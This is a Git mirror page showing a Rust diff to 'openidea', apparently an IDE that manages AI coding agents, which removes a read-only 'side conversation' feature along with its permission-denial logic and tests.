дзеркало
https://github.com/l0ng-ai/openidea.git
синхронізовано 2026-11-22 17:40:45 +02:00
Порівняти коміти
18
Коміти
| Автор | SHA1 | Дата | |
|---|---|---|---|
|
|
fef5fd10e1 | ||
|
|
ab1a4db606 | ||
|
|
2d85e745e7 | ||
|
|
741730b7e0 | ||
|
|
026b493e93 | ||
|
|
711ef3ec96 | ||
|
|
b35bf882b5 | ||
|
|
a816a57004 | ||
|
|
52017a1172 | ||
|
|
80f50ccdfa | ||
|
|
ec76dcde7f | ||
|
|
3c624ccb22 | ||
|
|
5a000983c7 | ||
|
|
03ad6c12ca | ||
|
|
1dbd2847b9 | ||
|
|
c9f5ac9cd5 | ||
|
|
06c7127b6b | ||
|
|
635ec2d7bd |
No files matched your search
@@ -2,8 +2,8 @@
|
||||
//! the agent reports them over ACP.
|
||||
|
||||
use crate::model::{
|
||||
AgentCommand, AgentCommandSource, AgentConfigChoice, AgentConfigOption, AgentConfigValue, AgentConfigVia,
|
||||
AgentCost, AgentLimit, AgentModelPricing, AgentUsage,
|
||||
AgentCommand, AgentCommandSource, AgentConfigOption, AgentConfigValue, AgentConfigVia, AgentCost, AgentLimit,
|
||||
AgentModelPricing, AgentUsage,
|
||||
};
|
||||
use serde_json::{Value, json};
|
||||
|
||||
@@ -54,45 +54,6 @@ pub(crate) fn bypass_approvals(config: &[AgentConfigOption]) -> bool {
|
||||
.any(|category| selected(category).zip(bypass_value(category)).is_some_and(|(value, bypass)| bypass(value)))
|
||||
}
|
||||
|
||||
/// Mode values that ask before anything changes the project, most careful first: Codex's
|
||||
/// Read Only (its Ask still edits the workspace), Claude Code's default (its Accept Edits
|
||||
/// doesn't ask), then plan modes.
|
||||
const ASKING_MODES: [&str; 4] = ["read-only", "default", "plan", "ask"];
|
||||
|
||||
/// Moves `config` to settings that ask before anything changes the project (a side
|
||||
/// conversation): approvals that approve everything ask, and the mode is the most careful one.
|
||||
pub(crate) fn keep_asking(config: &mut [AgentConfigOption]) {
|
||||
ask_for_approvals(config);
|
||||
for option in config.iter_mut().filter(|o| o.category.as_deref() == Some("mode")) {
|
||||
if let Some(mode) = ASKING_MODES.iter().find(|m| option.values.iter().any(|v| v.value == **m)) {
|
||||
option.current = Some((*mode).to_owned());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// The choices that keep a session asking before it changes anything: `wanted` without its
|
||||
/// mode and approval choices, and the [`keep_asking`] value of each such option of `options`.
|
||||
pub(crate) fn asking_choices(options: &[AgentConfigOption], wanted: &[AgentConfigChoice]) -> Vec<AgentConfigChoice> {
|
||||
let guarded = |o: &AgentConfigOption| o.category.as_deref().and_then(bypass_value).is_some();
|
||||
let mut out: Vec<AgentConfigChoice> =
|
||||
wanted.iter().filter(|c| !options.iter().any(|o| o.id == c.id && guarded(o))).cloned().collect();
|
||||
let mut asking = options.to_vec();
|
||||
keep_asking(&mut asking);
|
||||
for option in asking.iter().filter(|o| guarded(o)) {
|
||||
if let Some(value) = &option.current {
|
||||
out.push(AgentConfigChoice { id: option.id.clone(), value: value.clone() });
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// Whether `config` is what [`keep_asking`] makes of it.
|
||||
pub(crate) fn keeps_asking(config: &[AgentConfigOption]) -> bool {
|
||||
let mut asking = config.to_vec();
|
||||
keep_asking(&mut asking);
|
||||
asking.iter().zip(config).all(|(a, b)| a.current == b.current)
|
||||
}
|
||||
|
||||
/// For an option of `category` that can approve everything, what tells its approving values.
|
||||
fn bypass_value(category: &str) -> Option<fn(&str) -> bool> {
|
||||
match category {
|
||||
@@ -503,26 +464,6 @@ mod tests {
|
||||
assert_eq!(ids(&c), [("allow_all", Some("off")), ("approval", Some("ask"))]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn asking_choices_keep_a_side_conversation_from_changing_anything() {
|
||||
let codex = options_of(&json!({"modes": {"currentModeId": "full-access",
|
||||
"availableModes": [{"id": "read-only"}, {"id": "ask"}, {"id": "auto"}, {"id": "full-access"}]}}));
|
||||
let mode = codex[0].id.clone();
|
||||
let choice = |id: &str, value: &str| AgentConfigChoice { id: id.into(), value: value.into() };
|
||||
// Codex goes to Read Only (its Ask edits the workspace), whatever the source task chose.
|
||||
let wanted = asking_choices(&codex, &[choice(&mode, "full-access"), choice("model", "gpt")]);
|
||||
assert_eq!(wanted, [choice("model", "gpt"), choice(&mode, "read-only")]);
|
||||
assert_eq!(asking_choices(&codex, &[choice(&mode, "ask")]), [choice(&mode, "read-only")]);
|
||||
// Claude Code's Accept Edits doesn't ask: default does.
|
||||
let claude = options_of(&json!({"modes": {"currentModeId": "acceptEdits",
|
||||
"availableModes": [{"id": "default"}, {"id": "acceptEdits"}, {"id": "plan"}, {"id": "bypassPermissions"}]}}));
|
||||
assert_eq!(asking_choices(&claude, &[]), [choice(&claude[0].id, "default")]);
|
||||
assert!(!keeps_asking(&claude));
|
||||
let mut safe = claude.clone();
|
||||
keep_asking(&mut safe);
|
||||
assert!(keeps_asking(&safe));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn effort_and_fast_categories_are_inferred_from_ids() {
|
||||
let mut c = options_of(&json!({
|
||||
|
||||
@@ -372,11 +372,6 @@ struct TaskState {
|
||||
title_renamed: bool,
|
||||
/// A turn is running or about to (prompts arriving now are queued).
|
||||
busy: bool,
|
||||
/// A temporary side conversation: lives in memory only, never persisted.
|
||||
ephemeral: bool,
|
||||
/// The conversation a temporary side conversation starts with, sent to the agent with
|
||||
/// its first real message; the task's own entries hold only the questions.
|
||||
ephemeral_context: Option<String>,
|
||||
/// Background tasks the agent reported as running (`run_in_background` commands and
|
||||
/// the like), as it sent them: unlike a turn they outlive it, so an idle release
|
||||
/// waits for the last one. A (re)started process runs nothing yet.
|
||||
@@ -503,14 +498,8 @@ impl AgentManager {
|
||||
}
|
||||
|
||||
/// Routes events to `sink` (replacing the previous subscriber); returns every task.
|
||||
/// Ephemeral tasks belonged to the previous page session: a fresh one starts without them.
|
||||
pub fn subscribe(&self, sink: AgentSink) -> Vec<AgentTask> {
|
||||
*self.shared.sink.write() = Some(sink);
|
||||
let stale: Vec<Arc<Task>> = self.tasks.read().values().filter(|t| t.state.lock().ephemeral).cloned().collect();
|
||||
for task in &stale {
|
||||
self.drop_in_memory(task);
|
||||
self.shared.emit(AgentEvent::Removed { id: task.id.clone() });
|
||||
}
|
||||
let mut tasks: Vec<AgentTask> = self.tasks.read().values().map(|t| t.state.lock().task.clone()).collect();
|
||||
tasks.sort_by(|a, b| b.updated_ms.total_cmp(&a.updated_ms));
|
||||
tasks
|
||||
@@ -737,7 +726,7 @@ impl AgentManager {
|
||||
background: Box::default(),
|
||||
mcp_overrides: BTreeMap::new(),
|
||||
};
|
||||
let handle = self.register(TaskFile {
|
||||
let file = TaskFile {
|
||||
task: task.clone(),
|
||||
session_id: Some(session_id.to_owned()),
|
||||
entries: Vec::new(),
|
||||
@@ -748,7 +737,9 @@ impl AgentManager {
|
||||
subagents: Vec::new(),
|
||||
pending_rollback: 0,
|
||||
title_renamed: true,
|
||||
});
|
||||
};
|
||||
let handle = Task::restore(file, self.shared.clone());
|
||||
self.tasks.write().insert(task.id.clone(), handle.clone());
|
||||
handle.emit_task();
|
||||
handle.persist();
|
||||
Ok(task)
|
||||
@@ -786,8 +777,27 @@ impl AgentManager {
|
||||
(root, None, base, commit, before)
|
||||
}
|
||||
};
|
||||
// The session's settings: what the agent offered last time, with the choices applied.
|
||||
let config = self.merged_config(&spec.id, &req.config);
|
||||
// Until the session reports its own, show what the agent offered last time with the choices applied.
|
||||
let catalog = self.shared.paths.catalogs.cached(&self.shared, &spec.id);
|
||||
let mut levels = catalog.thought_levels;
|
||||
let mut config = self.shared.config_for_new_task(catalog.config, &spec.id);
|
||||
for choice in &req.config {
|
||||
if let Some(o) = config.iter_mut().find(|o| o.id == choice.id) {
|
||||
o.current = Some(choice.value.clone());
|
||||
}
|
||||
}
|
||||
if let Some(model) = model_of(&config)
|
||||
&& let Some(levels) = levels.remove(&model)
|
||||
{
|
||||
config.extend(levels.into_iter().map(|mut o| {
|
||||
if let Some(choice) =
|
||||
req.config.iter().find(|c| c.id == o.id && o.values.iter().any(|v| v.value == c.value))
|
||||
{
|
||||
o.current = Some(choice.value.clone());
|
||||
}
|
||||
o
|
||||
}));
|
||||
}
|
||||
let now = now_ms();
|
||||
let id = uuid::Uuid::new_v4().simple().to_string();
|
||||
// Copies of the files the user had changed already, for rolling back the task's changes to them.
|
||||
@@ -829,7 +839,7 @@ impl AgentManager {
|
||||
background: Box::default(),
|
||||
mcp_overrides: req.mcp_overrides,
|
||||
};
|
||||
let handle = self.register(TaskFile {
|
||||
let file = TaskFile {
|
||||
task: task.clone(),
|
||||
session_id: None,
|
||||
entries: Vec::new(),
|
||||
@@ -840,120 +850,16 @@ impl AgentManager {
|
||||
subagents: Vec::new(),
|
||||
pending_rollback: 0,
|
||||
title_renamed: false,
|
||||
});
|
||||
};
|
||||
let handle = Task::restore(file, self.shared.clone());
|
||||
handle.state.lock().busy = true;
|
||||
self.tasks.write().insert(task.id.clone(), handle.clone());
|
||||
handle.emit_task();
|
||||
handle.persist();
|
||||
self.shared.runtime.spawn(async move { handle.run(prompt).await });
|
||||
Ok(task)
|
||||
}
|
||||
|
||||
/// Builds the in-memory handle of a fresh task, registers it and announces it. The
|
||||
/// caller decides what else its life starts with (a persisted file, a session, a run).
|
||||
fn register(&self, file: TaskFile) -> Arc<Task> {
|
||||
let handle = Task::restore(file, self.shared.clone());
|
||||
self.tasks.write().insert(handle.id.clone(), handle.clone());
|
||||
handle.emit_task();
|
||||
handle
|
||||
}
|
||||
|
||||
/// The session's settings: what the agent offered last time, with the request's
|
||||
/// choices — and the chosen model's thought levels — applied.
|
||||
fn merged_config(&self, provider: &str, req: &[AgentConfigChoice]) -> Vec<AgentConfigOption> {
|
||||
let catalog = self.shared.paths.catalogs.cached(&self.shared, provider);
|
||||
let mut levels = catalog.thought_levels;
|
||||
let mut config = self.shared.config_for_new_task(catalog.config, provider);
|
||||
for choice in req {
|
||||
if let Some(o) = config.iter_mut().find(|o| o.id == choice.id) {
|
||||
o.current = Some(choice.value.clone());
|
||||
}
|
||||
}
|
||||
if let Some(model) = model_of(&config)
|
||||
&& let Some(levels) = levels.remove(&model)
|
||||
{
|
||||
config.extend(levels.into_iter().map(|mut o| {
|
||||
if let Some(choice) = req.iter().find(|c| c.id == o.id && o.values.iter().any(|v| v.value == c.value)) {
|
||||
o.current = Some(choice.value.clone());
|
||||
}
|
||||
o
|
||||
}));
|
||||
}
|
||||
config
|
||||
}
|
||||
|
||||
/// Creates a temporary side conversation of `source`: an in-memory task that is never
|
||||
/// persisted, whose session starts with its first real message (`prompt` only names
|
||||
/// the title). `source`'s conversation rides along as the context of that message.
|
||||
/// The task is read-only: its settings are pushed to a mode that asks before anything,
|
||||
/// and requests that would change the project are denied regardless. Fails for an
|
||||
/// agent that offers no way to ask.
|
||||
pub async fn create_ephemeral(&self, req: NewAgentTask, source: &str) -> IdeResult<AgentTask> {
|
||||
let spec = self
|
||||
.shared
|
||||
.spec(&req.provider)
|
||||
.ok_or_else(|| IdeError::invalid(format!("unknown agent {}", req.provider)))?;
|
||||
let prompt = clean(req.prompt).ok_or_else(|| IdeError::invalid("describe the topic first"))?;
|
||||
let title = title_of(&prompt);
|
||||
let mut config = self.merged_config(&spec.id, &req.config);
|
||||
// The source task's choices may change the project without asking; the side conversation asks.
|
||||
let wanted = config::asking_choices(&config, &req.config);
|
||||
config::keep_asking(&mut config);
|
||||
if config::bypass_approvals(&config) {
|
||||
return Err(IdeError::invalid(
|
||||
"this agent has no mode that asks before changing things, so it can't run a side conversation",
|
||||
));
|
||||
}
|
||||
let read_only = !config::bypass_approvals(&config);
|
||||
let context = context_transcript(&self.task(source)?.state.lock().conversation.main.entries);
|
||||
let root = self.shared.paths.project_root.clone();
|
||||
let before = blocking(move || Ok(worktree::snapshot(&root).unwrap_or_default())).await?;
|
||||
let now = now_ms();
|
||||
let mut capabilities = self.shared.probes.lock().get(&spec.id).map(|p| p.capabilities).unwrap_or_default();
|
||||
capabilities.read_only = read_only;
|
||||
let task = AgentTask {
|
||||
project_root: Some(IpcPath(self.shared.paths.project_root.clone())),
|
||||
id: uuid::Uuid::new_v4().simple().to_string(),
|
||||
title,
|
||||
provider: spec.id.clone(),
|
||||
model: model_of(&config),
|
||||
status: AgentStatus::Ready,
|
||||
isolation: Isolation::Local,
|
||||
cwd: IpcPath(self.shared.paths.project_root.clone()),
|
||||
branch: None,
|
||||
base: None,
|
||||
base_commit: None,
|
||||
error: None,
|
||||
created_ms: now,
|
||||
updated_ms: now,
|
||||
commands: self.shared.known_commands(&spec.id),
|
||||
usage: None,
|
||||
queue: Vec::new(),
|
||||
capabilities,
|
||||
resets_ms: None,
|
||||
retry: None,
|
||||
background: Box::default(),
|
||||
mcp_overrides: req.mcp_overrides,
|
||||
config,
|
||||
};
|
||||
let handle = self.register(TaskFile {
|
||||
task: task.clone(),
|
||||
session_id: None,
|
||||
entries: Vec::new(),
|
||||
wanted,
|
||||
before,
|
||||
saved: None,
|
||||
touched: None,
|
||||
subagents: Vec::new(),
|
||||
pending_rollback: 0,
|
||||
title_renamed: false,
|
||||
});
|
||||
{
|
||||
let mut s = handle.state.lock();
|
||||
s.ephemeral = true;
|
||||
s.ephemeral_context = Some(context);
|
||||
}
|
||||
Ok(task)
|
||||
}
|
||||
|
||||
/// Sends a message. While the agent works it is queued, or with `now` the current turn
|
||||
/// is cancelled and the message goes next.
|
||||
pub async fn prompt(&self, id: &str, prompt: AgentPrompt, now: bool) -> IdeResult<()> {
|
||||
@@ -1055,15 +961,6 @@ impl AgentManager {
|
||||
if !o.values.iter().any(|v| v.value == value) {
|
||||
return Err(IdeError::invalid(format!("{} has no value {value}", o.name)));
|
||||
}
|
||||
if s.ephemeral {
|
||||
let mut next = s.task.config.clone();
|
||||
if let Some(n) = next.iter_mut().find(|n| n.id == option) {
|
||||
n.current = Some(value.clone());
|
||||
}
|
||||
if !config::keeps_asking(&next) {
|
||||
return Err(IdeError::invalid("a side conversation asks before changing anything"));
|
||||
}
|
||||
}
|
||||
o.clone()
|
||||
};
|
||||
let previous = target.current.clone();
|
||||
@@ -1427,15 +1324,6 @@ impl AgentManager {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Removes a task from the manager's table and stops its agent. The disk (its file,
|
||||
/// its worktree) is the caller's business.
|
||||
fn drop_in_memory(&self, task: &Arc<Task>) {
|
||||
task.kill();
|
||||
self.tasks.write().remove(&task.id);
|
||||
*task.deleted.lock() = true;
|
||||
let _ = std::fs::remove_file(self.shared.paths.store_dir.join(format!("{}.json", task.id)));
|
||||
}
|
||||
|
||||
/// Returns an archived task to the active list without starting the agent.
|
||||
pub fn unarchive(&self, id: &str) -> IdeResult<()> {
|
||||
let task = self.task(id)?;
|
||||
@@ -1701,8 +1589,6 @@ impl Task {
|
||||
pending_rollback: file.pending_rollback,
|
||||
title_renamed: file.title_renamed,
|
||||
busy: false,
|
||||
ephemeral: false,
|
||||
ephemeral_context: None,
|
||||
background_tasks: Vec::new(),
|
||||
}),
|
||||
live: Mutex::new(None),
|
||||
@@ -1862,9 +1748,6 @@ impl Task {
|
||||
if *deleted {
|
||||
return;
|
||||
}
|
||||
if self.state.lock().ephemeral {
|
||||
return;
|
||||
}
|
||||
let bytes = {
|
||||
let s = self.state.lock();
|
||||
serde_json::to_vec(&TaskFile {
|
||||
@@ -2134,20 +2017,7 @@ impl Task {
|
||||
if !prompt.images.is_empty() && !live.capabilities.images {
|
||||
return Err(Failure::from("This agent can't read images.".to_owned()));
|
||||
}
|
||||
// A temporary side conversation's context rides with its first real message; the
|
||||
// conversation itself records only the question (and whatever comes after).
|
||||
let prompt = {
|
||||
let context = self.state.lock().ephemeral_context.take();
|
||||
match context {
|
||||
Some(context) => {
|
||||
let mut owned = prompt.clone();
|
||||
owned.text = format!("{context}\n\n---\n\n{}", owned.text);
|
||||
owned
|
||||
}
|
||||
None => prompt.clone(),
|
||||
}
|
||||
};
|
||||
let mut content = self.content(&live, &prompt).await;
|
||||
let mut content = self.content(&live, prompt).await;
|
||||
let mut result: Result<Value, RpcError> =
|
||||
live.peer.request("session/prompt", json!({ "sessionId": live.session, "prompt": content }), None).await;
|
||||
if live.driver == provider::Driver::Copilot
|
||||
@@ -2169,7 +2039,7 @@ impl Task {
|
||||
if !prompt.images.is_empty() && !live.capabilities.images {
|
||||
return Err(Failure::from("This agent can't read images.".to_owned()));
|
||||
}
|
||||
content = self.content(&live, &prompt).await;
|
||||
content = self.content(&live, prompt).await;
|
||||
result = live
|
||||
.peer
|
||||
.request("session/prompt", json!({ "sessionId": live.session, "prompt": content }), None)
|
||||
@@ -2385,8 +2255,7 @@ impl Task {
|
||||
let (mut options, mut wanted) = {
|
||||
let s = self.state.lock();
|
||||
let options = if known { reported } else { s.task.config.clone() };
|
||||
// A side conversation asks before anything, whatever mode the agent starts in.
|
||||
let wanted = if s.ephemeral { config::asking_choices(&options, &s.wanted) } else { s.wanted.clone() };
|
||||
let wanted = s.wanted.clone();
|
||||
(options, wanted)
|
||||
};
|
||||
config::add_client_options(provider_id, &mut options);
|
||||
@@ -2434,14 +2303,6 @@ impl Task {
|
||||
Err(e) => tracing::warn!("agent task {}: setting {} to {} failed: {e}", self.id, o.id, choice.value),
|
||||
}
|
||||
}
|
||||
// A side conversation never runs in a mode that changes things without asking: when the
|
||||
// agent refused the switch, it doesn't start.
|
||||
if self.state.lock().ephemeral && !config::keeps_asking(&options) {
|
||||
return Err(SessionOpenError {
|
||||
message: "The agent didn't switch to a mode that asks before changing anything, so the side conversation can't start".into(),
|
||||
allow_acp_fallback: false,
|
||||
});
|
||||
}
|
||||
let model = model_of(&options).filter(|_| model_options);
|
||||
self.shared.remember(provider_id, Some(&options), None, model.as_deref());
|
||||
{
|
||||
@@ -2703,30 +2564,6 @@ impl Task {
|
||||
.collect()
|
||||
})
|
||||
.unwrap_or_default();
|
||||
// A side conversation is read-only: deny anything that would change the project
|
||||
// (its task is deleted when its pane closes, leaving nothing to review or revert).
|
||||
if self.state.lock().ephemeral
|
||||
&& params
|
||||
.pointer("/toolCall/kind")
|
||||
.or_else(|| params.pointer("/subject/toolCall/kind"))
|
||||
.and_then(Value::as_str)
|
||||
.is_some_and(|kind| matches!(kind, "edit" | "delete" | "move" | "execute"))
|
||||
{
|
||||
let reject = options.iter().find(|o| o.kind.starts_with("reject")).cloned();
|
||||
let _ = self.push_entry(AgentEntry::Permission {
|
||||
id,
|
||||
title,
|
||||
command: None,
|
||||
options,
|
||||
questions: Vec::new(),
|
||||
form: None,
|
||||
chosen: Some("Denied: side conversations are read-only".to_owned()),
|
||||
});
|
||||
return match reject {
|
||||
Some(option) => json!({ "outcome": { "outcome": "selected", "optionId": option.id } }),
|
||||
None => json!({ "outcome": { "outcome": "cancelled" } }),
|
||||
};
|
||||
}
|
||||
let asked: Vec<String> = questions
|
||||
.iter()
|
||||
.map(|question| question.answer_key.clone().unwrap_or_else(|| question.question.clone()))
|
||||
@@ -2988,72 +2825,6 @@ fn clean(mut prompt: AgentPrompt) -> Option<AgentPrompt> {
|
||||
(!prompt.text.is_empty() || !prompt.images.is_empty() || !prompt.files.is_empty()).then_some(prompt)
|
||||
}
|
||||
|
||||
/// The character budget of a side conversation's context: the newest entries win, the
|
||||
/// oldest are dropped first. Leaves room for the question and the agent's answer.
|
||||
const CONTEXT_BUDGET: usize = 100_000;
|
||||
|
||||
/// A long tool output trimmed to its first and last few lines, with the elided middle noted.
|
||||
fn trimmed_output(output: &str) -> String {
|
||||
const KEPT: usize = 4;
|
||||
let lines: Vec<&str> = output.lines().collect();
|
||||
if lines.len() <= KEPT * 2 + 1 {
|
||||
return output.to_owned();
|
||||
}
|
||||
let omitted = lines.len() - KEPT * 2;
|
||||
let mut out = lines[..KEPT].join("\n");
|
||||
out.push_str(&format!("\n… {omitted} lines omitted …\n"));
|
||||
out.push_str(&lines[lines.len() - KEPT..].join("\n"));
|
||||
out
|
||||
}
|
||||
|
||||
fn context_entry(e: &AgentEntry) -> Option<String> {
|
||||
match e {
|
||||
AgentEntry::User { text, .. } => Some(format!("User: {text}")),
|
||||
AgentEntry::Agent { text, .. } if !text.trim().is_empty() => Some(format!("Agent: {text}")),
|
||||
AgentEntry::Thought { text, .. } if !text.trim().is_empty() => Some(format!("Thought: {text}")),
|
||||
AgentEntry::Tool { title, output, .. } => match output.as_deref() {
|
||||
Some(output) if !output.trim().is_empty() => Some(format!("Tool: {title}\n{}", trimmed_output(output))),
|
||||
_ => Some(format!("Tool: {title}")),
|
||||
},
|
||||
AgentEntry::Error { message, .. } => Some(format!("Error: {message}")),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// The conversation as the context a temporary side conversation starts with: what was
|
||||
/// said, what was done (tool calls with trimmed output), errors and the agent's reasoning,
|
||||
/// oldest first, within [`CONTEXT_BUDGET`].
|
||||
fn context_transcript(entries: &[AgentEntry]) -> String {
|
||||
// Newest wins: walk back until the budget is spent, dropping the oldest entries first.
|
||||
let mut lines: Vec<String> = Vec::new();
|
||||
let mut used = 0usize;
|
||||
for e in entries.iter().rev() {
|
||||
let Some(line) = context_entry(e) else { continue };
|
||||
if used + line.len() > CONTEXT_BUDGET {
|
||||
if lines.is_empty() {
|
||||
// Even the newest entry alone exceeds the budget: keep its head.
|
||||
lines.push(line.chars().take(CONTEXT_BUDGET).collect());
|
||||
}
|
||||
break;
|
||||
}
|
||||
used += line.len();
|
||||
lines.push(line);
|
||||
}
|
||||
lines.reverse();
|
||||
let dropped = entries.iter().rev().filter_map(context_entry).count() - lines.len();
|
||||
let mut context = String::from(
|
||||
"You are answering a side question in a temporary conversation. The conversation so far is below, \
|
||||
for context only; answer the new question after the marker, and do not continue the main task \
|
||||
unless asked.\n\n<conversation>\n",
|
||||
);
|
||||
if dropped > 0 {
|
||||
context.push_str(&format!("(The {dropped} oldest entries are omitted.)\n\n"));
|
||||
}
|
||||
context.push_str(&lines.join("\n\n"));
|
||||
context.push_str("\n</conversation>");
|
||||
context
|
||||
}
|
||||
|
||||
fn permission_title(params: &Value) -> String {
|
||||
let call = ¶ms["toolCall"];
|
||||
let title = call.get("title").and_then(Value::as_str).filter(|t| !t.is_empty());
|
||||
@@ -3272,7 +3043,6 @@ fn capabilities_of(init: &acp::Negotiated) -> (AgentCapabilities, bool) {
|
||||
rollback: meta("/openidea/rollback"),
|
||||
steer: steer_method(init).is_some(),
|
||||
background_tasks: meta("/openidea/backgroundTasks"),
|
||||
read_only: false,
|
||||
};
|
||||
(capabilities, init.prompt("embeddedContext"))
|
||||
}
|
||||
|
||||
@@ -45,9 +45,6 @@ pub struct AgentCapabilities {
|
||||
pub steer: bool,
|
||||
/// It reports its background tasks and stops them one by one.
|
||||
pub background_tasks: bool,
|
||||
/// The task runs read-only: it asks before anything, and requests that would change
|
||||
/// the project are denied (a temporary side conversation).
|
||||
pub read_only: bool,
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize, Type)]
|
||||
|
||||
@@ -1689,7 +1689,7 @@ async fn startup_warnings_survive_replay_and_restart_without_failing_the_task()
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn persistent_project_trust_needs_confirmation_even_with_bypass_and_is_denied_in_side_chats() {
|
||||
async fn persistent_project_trust_needs_confirmation_even_with_bypass() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let mgr = manager(tmp.path(), Arc::new(FakeAgent::default()));
|
||||
let task = mgr
|
||||
@@ -1718,8 +1718,6 @@ async fn persistent_project_trust_needs_confirmation_even_with_bypass_and_is_den
|
||||
let id = *handle.permissions.lock().keys().next().unwrap();
|
||||
mgr.respond(&task.id, id, Some("codex-keep-untrusted".into())).unwrap();
|
||||
assert_eq!(asking.await.unwrap()["outcome"]["optionId"], "codex-keep-untrusted");
|
||||
handle.state.lock().ephemeral = true;
|
||||
assert_eq!(handle.ask_permission(¶ms)["outcome"]["optionId"], "codex-keep-untrusted");
|
||||
mgr.shutdown();
|
||||
}
|
||||
|
||||
@@ -3593,199 +3591,6 @@ async fn security_policy_never_auto_approves_a_request_that_only_reads_like_a_co
|
||||
);
|
||||
}
|
||||
|
||||
/// A temporary side conversation is created ready, without starting its session and
|
||||
/// without writing anything to the store; a fresh subscriber (a reloaded page) sweeps
|
||||
/// it, and deleting it just drops it from memory.
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn ephemeral_tasks_stay_in_memory_only() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let agent = Arc::new(FakeAgent::default());
|
||||
let mgr = manager(tmp.path(), agent.clone());
|
||||
let source = mgr
|
||||
.create(NewAgentTask {
|
||||
project_root: None,
|
||||
prompt: text("hello"),
|
||||
provider: "claude".into(),
|
||||
config: vec![],
|
||||
isolation: Isolation::Local,
|
||||
base: None,
|
||||
..Default::default()
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
wait_for(&mgr, &source.id, AgentStatus::NeedsInput).await;
|
||||
let calls_before = agent.calls.lock().len();
|
||||
let task = mgr
|
||||
.create_ephemeral(
|
||||
NewAgentTask {
|
||||
project_root: None,
|
||||
prompt: text("What changed in this file?"),
|
||||
provider: "claude".into(),
|
||||
config: vec![],
|
||||
isolation: Isolation::Local,
|
||||
base: None,
|
||||
..Default::default()
|
||||
},
|
||||
&source.id,
|
||||
)
|
||||
.await
|
||||
.unwrap();
|
||||
// Registering it starts nothing: the session waits for its first real message.
|
||||
assert_eq!(agent.calls.lock().len(), calls_before);
|
||||
assert_eq!(mgr.task(&task.id).unwrap().state.lock().task.status, AgentStatus::Ready);
|
||||
assert!(!tmp.path().join("store").join(format!("{}.json", task.id)).exists());
|
||||
|
||||
// Its first message starts the session like any task's, and still saves nothing: the
|
||||
// conversation records the question, not the context that rode along to the agent.
|
||||
// The fake agent's turn asks to change something, which a side conversation denies by
|
||||
// itself, so the turn ends without waiting for the user.
|
||||
mgr.prompt(&task.id, text("Why?"), false).await.unwrap();
|
||||
wait_for(&mgr, &task.id, AgentStatus::Ready).await;
|
||||
let entries = mgr.entries(&task.id, None).unwrap();
|
||||
let question = entries.iter().find_map(|e| match e {
|
||||
AgentEntry::User { text, .. } => Some(text.clone()),
|
||||
_ => None,
|
||||
});
|
||||
assert_eq!(question.as_deref(), Some("Why?"));
|
||||
assert!(
|
||||
entries.iter().any(|e| matches!(e, AgentEntry::Permission { chosen: Some(c), .. } if c.contains("read-only"))),
|
||||
"its `cargo test` request was denied: {entries:?}"
|
||||
);
|
||||
assert!(!tmp.path().join("store").join(format!("{}.json", task.id)).exists());
|
||||
|
||||
// A fresh subscriber (a reloaded page) sweeps it: it never reaches the task list.
|
||||
let events: Arc<Mutex<Vec<AgentEvent>>> = Arc::new(Mutex::new(Vec::new()));
|
||||
let sink_events = events.clone();
|
||||
let tasks = mgr.subscribe(Arc::new(move |e| sink_events.lock().push(e)));
|
||||
assert!(!tasks.iter().any(|t| t.id == task.id));
|
||||
assert!(mgr.task(&task.id).is_err());
|
||||
assert!(events.lock().iter().any(|e| matches!(e, AgentEvent::Removed { id } if *id == task.id)));
|
||||
mgr.shutdown();
|
||||
}
|
||||
|
||||
/// A side conversation's context stays within its budget: long tool outputs are cut to
|
||||
/// their head and tail, and entries that no longer fit are dropped oldest first.
|
||||
#[test]
|
||||
fn side_conversation_context_is_bounded() {
|
||||
let long_output = (0..400).map(|i| format!("line {i}")).collect::<Vec<_>>().join(
|
||||
"
|
||||
",
|
||||
);
|
||||
// Each reply alone is well inside the budget; together they are past it.
|
||||
let reply = |n: usize| AgentEntry::Agent { text: format!("reply {n} {}", "x".repeat(30_000)) };
|
||||
let entries = vec![
|
||||
AgentEntry::User {
|
||||
text: "oldest question".into(),
|
||||
attachments: vec![],
|
||||
images: vec![],
|
||||
sent_ms: None,
|
||||
done_ms: None,
|
||||
steered: false,
|
||||
},
|
||||
reply(1),
|
||||
reply(2),
|
||||
reply(3),
|
||||
reply(4),
|
||||
AgentEntry::Tool {
|
||||
id: "t1".into(),
|
||||
title: "grep".into(),
|
||||
kind: "search".into(),
|
||||
status: AgentToolStatus::Completed,
|
||||
locations: vec![],
|
||||
output: Some(long_output),
|
||||
diffs: vec![],
|
||||
},
|
||||
AgentEntry::User {
|
||||
text: "newest question".into(),
|
||||
attachments: vec![],
|
||||
images: vec![],
|
||||
sent_ms: None,
|
||||
done_ms: None,
|
||||
steered: false,
|
||||
},
|
||||
];
|
||||
let transcript = context_transcript(&entries);
|
||||
assert!(transcript.contains("newest question"), "the newest entry is always kept");
|
||||
assert!(transcript.contains("lines omitted"), "a long tool output is trimmed");
|
||||
assert!(transcript.contains("line 0") && transcript.contains("line 399"), "its head and tail stay");
|
||||
assert!(!transcript.contains("oldest question"), "entries past the budget are dropped oldest first");
|
||||
assert!(transcript.contains("oldest entries are omitted"));
|
||||
}
|
||||
|
||||
/// An ephemeral task denies a permission request that would change the project.
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn ephemeral_tasks_deny_write_permissions() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let agent = Arc::new(FakeAgent::default());
|
||||
let mgr = manager(tmp.path(), agent.clone());
|
||||
let source = mgr
|
||||
.create(NewAgentTask {
|
||||
project_root: None,
|
||||
prompt: text("Something with a conversation to reuse"),
|
||||
provider: "claude".into(),
|
||||
config: vec![],
|
||||
isolation: Isolation::Local,
|
||||
base: None,
|
||||
..Default::default()
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
